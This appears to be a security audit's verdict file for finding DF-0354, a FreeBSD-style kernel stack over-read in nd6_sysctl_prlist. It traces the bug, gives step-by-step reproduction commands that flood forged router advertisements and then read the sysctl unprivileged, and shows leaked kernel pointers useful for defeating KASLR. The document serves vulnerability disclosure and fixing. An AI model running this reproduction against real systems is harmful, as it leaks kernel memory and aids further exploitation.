# DF-0354 — nd6_sysctl_prlist stack buffer over-read (info leak)

## Verdict
**REPRODUCED** — unprivileged kernel-stack info leak confirmed.
The buggy `nd6_sysctl_prlist` SYSCTL_OUT over-reads its 1024-byte stack
buffer `buf[]` whenever a single prefix has more routers attached than
fit (`advrtrs > (sizeof(buf)-sizeof(*p))/sizeof(*sin6)`). An
unprivileged user reading `net.inet6.icmp6.nd6_prlist` receives the
extra bytes (kernel stack residue, including kernel text/data/heap
pointers).

## Bug mechanism (confirmed via source trace)
File: `sys/netinet6/nd6.c`, function `nd6_sysctl_prlist` (line 2197).

1. `char buf[1024]` on the stack (line 2201).
2. Inner loop (lines 2238–2255) iterates the per-prefix router list.
   When `sin6[advrtrs+1] > pe` (no room in buf) it executes
   `advrtrs++; continue;` (lines 2240–2242) — i.e. it **counts the
   router anyway** without writing the `sin6` entry.
3. Line 2256: `p->advrtrs = advrtrs;` (total count, used for the
   user-visible `advrtrs` field — informational).
4. Line 2261: `advance = sizeof(*p) + sizeof(*sin6) * advrtrs;` uses
   the **total** count, not the count that fit.
5. Line 2262: `SYSCTL_OUT(req, buf, advance)` copies `advance` bytes
   from `buf`. Since `advance > sizeof(buf)`, `copyout` reads
   `advance - 1024` bytes past `buf` from the kernel stack.

`advrtrs` maximum is bounded by `PRLSTSIZ` (per netinet6/in6_var.h)
and there is no other clamp. With ~60 routers attached to a single
prefix (realistic during RA flood), `advance ≈ 1752`, leaking ~728
bytes of stack residue per call.

## Reproduction

### Preconditions (the "remote attacker" half)
The kernel must have one prefix entry with >~34 advertising routers
attached. The realistic threat model is a remote on-link attacker
flooding forged RAs from many sources, each announcing the same prefix.
On the audit guest (isolated QEMU user-mode net) we simulate this with
`ra_inject_tap`: writes forged RA Ethernet frames to `/dev/tap0`,
each with a unique source link-local IPv6 (creates a new `nd_defrouter`),
all advertising `2001:db8:1::/64` (each router attaches to that prefix's
`ndpr_advrtrs` list). This is the kernel-equivalent of the remote flood.

### Trigger (the "unprivileged" half — the actual exploit)
Any user can read the sysctl:
```c
sysctlnametomib("net.inet6.icmp6.nd6_prlist", mib, &miblen);
sysctl(mib, miblen, buf, &len, NULL, 0);   // len comes back > 1024
```
The bytes past offset 1024 are kernel stack residue.

### Steps
```sh
# 1. (one-time) build tools as root
cc -O2 -o ra_inject_tap ra_inject_tap.c
cc -O2 -o ra_read ra_read.c

# 2. (root) populate the kernel state — simulates remote RA flood
kldload if_tap
ifconfig tap0 create && ifconfig tap0 up
ndp -i tap0 accept_rtadv
sysctl net.inet6.ip6.forwarding=0
./ra_inject_tap /dev/tap0 60

# 3. (unprivileged) trigger the leak
su -m maxx -c './ra_read net.inet6.icmp6.nd6_prlist /tmp/leak.bin'
ls -l /tmp/leak.bin        # observe > 1024 bytes returned
```

## Observed evidence (unprivileged `maxx`, kernel #0 baseline)
```
sysctl net.inet6.icmp6.nd6_prlist returned 2068 bytes  (3 runs, identical size)
non-zero bytes after offset 1024: 417 / 417 / 418     (variance ⇒ real stack residue)
```
First leaked pointers across 3 runs (different every call ⇒ genuine
kernel stack residue, not stale zeroed buf):
```
run 1: 0xfffff80117c27818, 0xfffff80089978180, 0xffffffff80683da8
run 2: 0xfffff8011926d818, 0xfffff8008997a480, 0xffffffff80683da8
run 3: 0xfffff80123fab818, 0xfffff80089978680, 0xffffffff80683da8
```
The varying `0xfffff8011/21...818` and `0xfffff80089...` values are
kernel heap / data pointers — exactly the kind of residue useful for
KASLR-defeat or for refining a separate kernel exploit.

## Impact
- **Info leak** of up to ~700 bytes of kernel stack per sysctl read.
- Repeats at will — no rate limit, no privilege required.
- Defeats KASLR on systems where it is enabled; otherwise leaks
  pointer-layout intelligence.
- CVSS for the leak itself: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N`
  (the finding's `A:L` would apply only if combined with the DF-0355 race
  that can dereference the freed entries).

## Files in this folder
- `ra_inject.c`         — BPF-based RA injector (alternative path; tap preferred)
- `ra_inject_tap.c`     — `/dev/tap` RA injector used in the repro (preferred)
- `ra_test.c`           — minimal one-packet injector (sanity check)
- `ra_read.c`           — unprivileged sysctl reader / dumper
- `bpf_sniff.c`         — BPF sniffer (debugging aid)
- `fix.diff`            — the verified one-line-clamp fix
- `build.sh`, `run.sh`  — exact build/run commands
- `build.log`           — final build output
- `run.log`             — decisive run output (full)
- `leak_sample.txt`     — raw leaked bytes across 3 runs (variance proof)
- `panic.txt`           — N/A (no panic; leak only)
- `env.txt`             — guest uname, sysctls
- `VERDICT.md`          — this file
- `manifest.json`       — machine-readable catalog
